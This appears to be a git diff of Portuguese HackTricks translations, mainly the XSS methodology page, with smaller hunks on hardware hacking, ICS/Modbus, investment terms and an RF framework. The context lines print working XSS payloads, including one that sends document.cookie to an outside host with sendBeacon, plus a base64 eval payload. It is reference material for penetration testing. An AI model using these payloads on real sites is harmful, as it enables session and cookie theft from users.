 1. Você pode sair para o contexto HTML bruto?
 2. Você pode criar novos eventos/atributos para executar código JS?
@@ -24,7 +24,7 @@
 2. Você pode escapar da string e executar código JS diferente?
 3. Sua entrada está em literais de template \`\`?
 4. Você pode contornar proteções?
-4. Função **JavaScript** sendo **executada**
+4. Função Javascript **sendo executada**
 1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
 4. Se **usado**:
 1. Você poderia explorar um **DOM XSS**, preste atenção em como sua entrada é controlada e se sua **entrada controlada é usada por algum sink.**
@@ -58,8 +58,8 @@ Se sua entrada está refletida dentro do valor do atributo de uma tag, você pod
 
 1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
 2. Se você **pode escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que executa código JS: `" autofocus onfocus=alert(1) x="`
-3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
-4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
+3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
+4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="**
 
 Exemplo estranho de Angular executando XSS se você controla um nome de classe:
 ```html
@@ -71,7 +71,7 @@ Exemplo estranho de Angular executando XSS se você controla um nome de classe:
 
 Neste caso, sua entrada é refletida entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
 
-- Se refletido entre as tags **`<script> [...] </script>`**, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não notará que sua tag `</script>` injetada está dentro do código HTML.
+- Se refletido entre as tags **`<script> [...] </script>`**, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não notará que sua tag injetada `</script>` está dentro do código HTML.
 - Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
 - `'-alert(1)-'`
 - `';-alert(1)//`
@@ -151,8 +151,8 @@ server-side-xss-dynamic-pdf.md
 
 ## Injetando dentro do HTML bruto
 
-Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
-Para esses casos, também **lembre-se** de [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
+Para esses casos, também **lembre-se** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 _**Nota: Um comentário HTML pode ser fechado usando\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
 
 Nesse caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
@@ -228,7 +228,7 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Bypass de comprimento (pequenos XSS)
+### Bypass de comprimento (pequenos XSSs)
 
 > [!NOTE] > **Mais pequenos XSS para diferentes ambientes** payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
 ```html
@@ -243,13 +243,13 @@ Para verificar em quais caracteres estão decompostos, verifique [aqui](https://
 
 Se para explorar a vulnerabilidade você precisar que o **usuário clique em um link ou em um formulário** com dados pré-preenchidos, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
 
-### Impossible - Dangling Markup
+### Impossível - Marcação Pendente
 
-Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque você pode **explorar** a vulnerabilidade **sem** executar código **JS**.
+Se você apenas pensa que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Marcação Pendente**](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
 
-## Injecting inside HTML tag
+## Injetando dentro da tag HTML
 
-### Inside the tag/escaping from attribute value
+### Dentro da tag/escapando do valor do atributo
 
 Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
 Se você **não conseguir escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
@@ -424,7 +424,7 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-De [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:
+A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@@ -470,7 +470,7 @@ Esse truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-
 
 ## Injetando dentro do código JavaScript
 
-Nestes casos, sua **entrada** vai ser **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
+Nestes casos, sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
 
 ### Escapando a tag \<script>
 
@@ -490,7 +490,7 @@ Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua
 ```
 ### Template literals \`\`
 
-Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **expressões JS embutidas** usando a sintaxe `${ ... }`.\
+Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permitem **expressões JS embutidas** usando a sintaxe `${ ... }`.\
 Portanto, se você descobrir que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
 
 Isso pode ser **abusado** usando:
@@ -564,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**Novas linhas em JavaScript (do** [**truque de nova linha em JavaScript**](#javascript-new-lines) **)**
+**Quebras de linha em JavaScript (do** [**truque de quebra de linha em JavaScript**](#javascript-new-lines) **)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -755,13 +755,13 @@ Além disso, não se esqueça de que **no final do post mencionado** você pode
 
 ### Cookie XSS
 
-Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing:
+Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, poderá abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing:
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Você pode encontrar um grande abuso dessa técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Você pode encontrar um grande abuso dessa técnica em [**este post de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
 ### Enviando sua sessão para o admin
 
@@ -771,7 +771,7 @@ Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS es
 
 Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
 
-Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão.
+Você poderia fazer com que o **administrador acionasse seu self XSS** e roubasse seus cookies/sessão.
 
 ## Outros Bypasses
 
@@ -828,9 +828,9 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS com injeção de cabeçalho em uma resposta 302
 
-Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas uma carga útil de cross-site scripting é inútil.
+Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
 
-Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\
+Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
 Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
 
 ### Apenas Letras, Números e Pontos
@@ -843,7 +843,7 @@ Se você conseguir indicar o **callback** que o javascript vai **executar** limi
 
 > Recusou-se a executar o script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME (‘application/octet-stream’) não é executável, e a verificação estrita de tipo MIME está habilitada.
 
-Os únicos **Content-Type**s que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+Os únicos **Content-Type** que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -919,7 +919,7 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
 }
 </script>
 ```
-### Tipos de Conteúdo da Web para XSS
+### Web Content-Types to XSS
 
 (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
 
@@ -929,12 +929,12 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
 - text/xml
 - image/svg+xml
 - text/plain (?? não está na lista, mas acho que vi isso em um CTF)
-- application/rss+xml (desligado)
-- application/atom+xml (desligado)
+- application/rss+xml (desativado)
+- application/atom+xml (desativado)
 
 Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### Tipo de Conteúdo xml
+### xml Content Type
 
 Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário:
 ```xml
@@ -1271,7 +1271,7 @@ Faça o usuário navegar na página sem sair de um iframe e roube suas ações (
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Você **não poderá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/index.html#httponly) se tiver sorte.
+> Você **não conseguirá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/index.html#httponly) se tiver sorte.
 
 ### Roubar Conteúdo da Página
 ```javascript
@@ -1502,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Acesso a Conteúdo Oculto
 
-A partir de [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la após o valor da entrada do regex ter sido removido:
+A partir de [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la após o valor da entrada do regex ter sido removido:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1537,7 +1537,7 @@ xss-in-markdown.md
 
 ### XSS para SSRF
 
-Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Inclusão Lateral com este payload:
+Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Inclusão Lateral com esta carga útil:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
@@ -1633,7 +1633,7 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
 other-js-tricks.md
 {{#endref}}
 
-## Recursos XSS
+## Recursos de XSS
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)

src/todo/hardware-hacking/fault_injection_attacks.md

@@ -1,9 +1,9 @@
 # Ataques de Injeção de Falhas
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 Ataques de injeção de falhas incluem a introdução de distúrbios externos em circuitos eletrônicos para influenciar seu comportamento, resultando na divulgação de informações ou até mesmo na superação de certas restrições no circuito. Esses ataques abrem muitas possibilidades para atacar circuitos eletrônicos. Esse ataque também é referido como glitching de circuitos eletrônicos.
 
 Existem muitos métodos e meios para injetar falhas em um circuito eletrônico.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/todo/hardware-hacking/side_channel_analysis.md

@@ -1,11 +1,11 @@
 # Ataques de Análise de Canal Lateral
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 Ataques de Análise de Canal Lateral referem-se à determinação de informações de um dispositivo ou entidade por meio de algum outro canal ou fonte que tenha uma influência indireta sobre ele e informações possam ser extraídas dele. Isso pode ser explicado melhor com um exemplo:
 
 Analisando as vibrações em folhas de vidro que estão próximas à fonte de som, mas a fonte de som não é acessível. As vibrações no vidro são influenciadas pela fonte de som e, se monitoradas e analisadas, o som pode ser decodificado e interpretado.
 
-Esses ataques são muito populares em casos de vazamento de dados, como chaves privadas ou na identificação de operações nos processadores. Um circuito eletrônico possui muitos canais dos quais informações estão constantemente vazando. Monitorar e analisar pode ser útil para divulgar muitas informações sobre o circuito e seus internos.
+Esses ataques são muito populares em casos de vazamento de dados, como chaves privadas ou na localização de operações nos processadores. Um circuito eletrônico possui muitos canais dos quais informações estão constantemente vazando. Monitorar e analisar pode ser útil para divulgar muitas informações sobre o circuito e seus internos.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/todo/industrial-control-systems-hacking/README.md

@@ -1,14 +1,14 @@
 # Hacking de Sistemas de Controle Industrial
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Sobre esta Seção
 
-Esta seção contém tudo sobre Sistemas de Controle Industrial, incluindo conceitos, bem como metodologias para hackeá-los, com várias questões de segurança que persistem neles.
+Esta seção contém tudo sobre Sistemas de Controle Industrial, incluindo conceitos e metodologias para hackeá-los, além de várias questões de segurança que persistem neles.
 
 Sistemas de Controle Industrial estão em toda parte, uma vez que as indústrias são vitais para o desenvolvimento econômico de uma nação. Mas esses ICS são difíceis de atualizar e menos avanços são feitos neste campo. Portanto, encontrar falhas de segurança é comum aqui. A maioria dos protocolos e padrões usados aqui foi desenvolvida na década de 90 e possui capacidades muito menores em comparação com os cenários de ataque atuais.
 
-Tornou-se importante proteger esses sistemas, uma vez que danificá-los pode custar muito e até mesmo vidas no pior dos casos. Para entender a segurança dos Sistemas de Controle Industrial, é necessário conhecer seus internos.
+Tornou-se importante proteger esses sistemas, pois danificá-los pode custar muito e até mesmo vidas no pior dos casos. Para entender a segurança dos Sistemas de Controle Industrial, é necessário conhecer seus internos.
 
 Como os Sistemas de Controle Industrial são instalados seguindo padrões estabelecidos, conhecer cada componente ajudaria a interconectar todos os outros mecanismos no sistema de controle. A instalação desses dispositivos, como PLCs e sistemas SCADA, é diferente em várias indústrias, portanto, a coleta de informações é crítica.
 
@@ -16,4 +16,4 @@ Os Sistemas de Controle Industrial podem ser complicados às vezes e, portanto,
 
 Essas técnicas também podem ser usadas para proteger contra ataques e blue teaming para sistemas de controle industrial.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/todo/industrial-control-systems-hacking/modbus.md

@@ -1,12 +1,12 @@
 # O Protocolo Modbus
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Introdução ao Protocolo Modbus
 
 O protocolo Modbus é um protocolo amplamente utilizado em Automação Industrial e Sistemas de Controle. O Modbus permite a comunicação entre vários dispositivos, como controladores lógicos programáveis (PLCs), sensores, atuadores e outros dispositivos industriais. Compreender o Protocolo Modbus é essencial, uma vez que este é o protocolo de comunicação mais utilizado no ICS e possui uma grande superfície de ataque potencial para sniffing e até mesmo injeção de comandos em PLCs.
 
-Aqui, os conceitos são apresentados de forma pontual, fornecendo contexto sobre o protocolo e sua natureza de operação. O maior desafio na segurança dos sistemas ICS é o custo de implementação e atualização. Esses protocolos e padrões foram projetados no início dos anos 80 e 90, que ainda são amplamente utilizados. Como uma indústria possui muitos dispositivos e conexões, atualizar dispositivos é muito difícil, o que dá aos hackers uma vantagem ao lidar com protocolos desatualizados. Ataques ao Modbus são praticamente inevitáveis, uma vez que será utilizado sem atualização, pois sua operação é crítica para a indústria.
+Aqui, os conceitos são apresentados de forma pontual, fornecendo contexto sobre o protocolo e sua natureza de operação. O maior desafio na segurança dos sistemas ICS é o custo de implementação e atualização. Esses protocolos e padrões foram projetados no início dos anos 80 e 90, e ainda são amplamente utilizados. Como uma indústria possui muitos dispositivos e conexões, atualizar dispositivos é muito difícil, o que proporciona aos hackers uma vantagem ao lidar com protocolos desatualizados. Ataques ao Modbus são praticamente inevitáveis, uma vez que será utilizado sem atualização, pois sua operação é crítica para a indústria.
 
 ## A Arquitetura Cliente-Servidor
 
@@ -22,7 +22,7 @@ Os dados são transmitidos no protocolo Modbus como ASCII ou Binário, embora o
 
 ## Códigos de Função
 
-O Protocolo ModBus funciona com a transmissão de códigos de função específicos que são usados para operar os PLCs e vários dispositivos de controle. Esta parte é importante para entender, uma vez que ataques de replay podem ser realizados retransmitindo códigos de função. Dispositivos legados não suportam nenhuma criptografia para a transmissão de dados e geralmente possuem fios longos que os conectam, o que resulta na manipulação desses fios e captura/injeção de dados.
+O Protocolo ModBus funciona com a transmissão de códigos de função específicos que são usados para operar os PLCs e vários dispositivos de controle. Esta parte é importante para entender, uma vez que ataques de replay podem ser realizados retransmitindo códigos de função. Dispositivos legados não suportam nenhuma criptografia para a transmissão de dados e geralmente possuem fios longos que os conectam, o que resulta em manipulação desses fios e captura/injeção de dados.
 
 ## Endereçamento do Modbus
 
@@ -30,6 +30,6 @@ Cada dispositivo na rede possui um endereço único, que é essencial para a com
 
 Além disso, o Modbus também implementa verificações de erro para garantir a integridade dos dados transmitidos. Mas, acima de tudo, o Modbus é um Padrão Aberto e qualquer um pode implementá-lo em seus dispositivos. Isso fez com que esse protocolo se tornasse um padrão global e sua ampla utilização na indústria de automação industrial.
 
-Devido ao seu uso em larga escala e à falta de atualizações, atacar o Modbus oferece uma vantagem significativa com sua superfície de ataque. O ICS é altamente dependente da comunicação entre dispositivos e quaisquer ataques realizados contra eles podem ser perigosos para a operação dos sistemas industriais. Ataques como replay, injeção de dados, sniffing de dados e vazamentos, negação de serviço, falsificação de dados, etc., podem ser realizados se o meio de transmissão for identificado pelo atacante.
+Devido ao seu uso em larga escala e à falta de atualizações, atacar o Modbus proporciona uma vantagem significativa com sua superfície de ataque. O ICS é altamente dependente da comunicação entre dispositivos e quaisquer ataques realizados contra eles podem ser perigosos para a operação dos sistemas industriais. Ataques como replay, injeção de dados, sniffing de dados e vazamentos, negação de serviço, falsificação de dados, etc., podem ser realizados se o meio de transmissão for identificado pelo atacante.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/todo/investment-terms.md

@@ -1,10 +1,10 @@
 # Termos de Investimento
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Spot
 
-Esta é a maneira mais básica de fazer algumas negociações. Você pode **indicar a quantidade do ativo e o preço** que deseja comprar ou vender, e sempre que esse preço for alcançado, a operação é realizada.
+Esta é a forma mais básica de fazer algumas negociações. Você pode **indicar a quantidade do ativo e o preço** que deseja comprar ou vender, e sempre que esse preço for alcançado, a operação é realizada.
 
 Normalmente, você também pode usar o **preço de mercado atual** para realizar a transação o mais rápido possível ao preço atual.
 
@@ -20,12 +20,12 @@ No entanto, isso é interessante, por exemplo, para negócios que estão gerando
 
 Embora nas exchanges isso seja geralmente usado para tentar obter lucro.
 
-* Observe que uma "posição longa" significa que alguém está apostando que um preço vai aumentar.
+* Note que uma "posição longa" significa que alguém está apostando que um preço vai aumentar.
 * Enquanto uma "posição curta" significa que alguém está apostando que um preço vai cair.
 
 ### Hedging Com Futuros <a href="#mntl-sc-block_7-0" id="mntl-sc-block_7-0"></a>
 
-Se um gestor de fundos tem medo de que algumas ações vão cair, ele pode assumir uma posição curta sobre alguns ativos, como bitcoins ou contratos futuros do S\&P 500. Isso seria semelhante a comprar ou ter alguns ativos e criar um contrato para vender esses ativos em um momento futuro a um preço maior.
+Se um gestor de fundo tem medo de que algumas ações vão cair, ele pode assumir uma posição curta sobre alguns ativos, como bitcoins ou contratos futuros do S\&P 500. Isso seria semelhante a comprar ou ter alguns ativos e criar um contrato para vender esses ativos em um momento futuro a um preço maior.
 
 Caso o preço caia, o gestor do fundo ganhará benefícios porque venderá os ativos a um preço maior. Se o preço dos ativos subir, o gestor não ganhará esse benefício, mas ainda manterá seus ativos.
 
@@ -33,7 +33,7 @@ Caso o preço caia, o gestor do fundo ganhará benefícios porque venderá os at
 
 **Estes são "futuros" que durarão indefinidamente** (sem uma data de contrato final). É muito comum encontrá-los, por exemplo, em exchanges de criptomoedas, onde você pode entrar e sair de futuros com base no preço das criptos.
 
-Observe que, nesses casos, os benefícios e perdas podem ser em tempo real; se o preço aumentar 1%, você ganha 1%; se o preço diminuir 1%, você perderá.
+Note que, nesses casos, os benefícios e perdas podem ser em tempo real; se o preço aumentar 1%, você ganha 1%; se o preço diminuir 1%, você perderá.
 
 ### Futuros com Alavancagem
 
@@ -42,7 +42,7 @@ Observe que, nesses casos, os benefícios e perdas podem ser em tempo real; se o
 Por exemplo, se você abrir uma posição futura no BTC/USDT com 100$ a uma alavancagem de 50x, isso significa que se o preço aumentar 1%, você estaria ganhando 1x50 = 50% do seu investimento inicial (50$). E, portanto, você terá 150$.\
 No entanto, se o preço diminuir 1%, você perderá 50% de seus fundos (59$ neste caso). E se o preço diminuir 2%, você perderá toda a sua aposta (2x50 = 100%).
 
-Portanto, a alavancagem permite controlar a quantidade de dinheiro que você aposta, aumentando os ganhos e as perdas.
+Portanto, a alavancagem permite controlar a quantidade de dinheiro que você aposta, enquanto aumenta os ganhos e as perdas.
 
 ## Diferenças entre Futuros e Opções
 
@@ -62,11 +62,11 @@ No entanto, o comprador pagará uma taxa ao vendedor para abrir a opção (entã
 ### 3. **Custo:**
 
 * **Futuros:** Não há custo inicial além da margem necessária para manter a posição, já que o comprador e o vendedor estão ambos obrigados a completar a negociação.
-* **Opções:** O comprador deve pagar um **prêmio de opção** antecipadamente pelo direito de exercer a opção. Este prêmio é essencialmente o custo da opção.
+* **Opções:** O comprador deve pagar um **prêmio da opção** antecipadamente pelo direito de exercer a opção. Este prêmio é essencialmente o custo da opção.
 
 ### 4. **Potencial de Lucro:**
 
 * **Futuros:** O lucro ou a perda é baseado na diferença entre o preço de mercado na expiração e o preço acordado no contrato.
 * **Opções:** O comprador lucra quando o mercado se move favoravelmente além do preço de exercício, mais do que o prêmio pago. O vendedor lucra mantendo o prêmio se a opção não for exercida.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/todo/radio-hacking/README.md

@@ -1,3 +1,3 @@
 # Radio Hacking
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/todo/radio-hacking/fissure-the-rf-framework.md

@@ -1,12 +1,12 @@
 # FISSURE - The RF Framework
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 **Compreensão e Engenharia Reversa de Sinais SDR Independentes de Frequência**
 
 FISSURE é um framework de RF e engenharia reversa de código aberto projetado para todos os níveis de habilidade, com ganchos para detecção e classificação de sinais, descoberta de protocolos, execução de ataques, manipulação de IQ, análise de vulnerabilidades, automação e IA/ML. O framework foi construído para promover a rápida integração de módulos de software, rádios, protocolos, dados de sinal, scripts, gráficos de fluxo, material de referência e ferramentas de terceiros. FISSURE é um facilitador de fluxo de trabalho que mantém o software em um único local e permite que as equipes se atualizem facilmente enquanto compartilham a mesma configuração base comprovada para distribuições específicas do Linux.
 
-O framework e as ferramentas incluídas no FISSURE são projetados para detectar a presença de energia RF, entender as características de um sinal, coletar e analisar amostras, desenvolver técnicas de transmissão e/ou injeção e criar cargas úteis ou mensagens personalizadas. FISSURE contém uma biblioteca crescente de informações sobre protocolos e sinais para auxiliar na identificação, criação de pacotes e fuzzing. Existem capacidades de arquivo online para baixar arquivos de sinal e construir playlists para simular tráfego e testar sistemas.
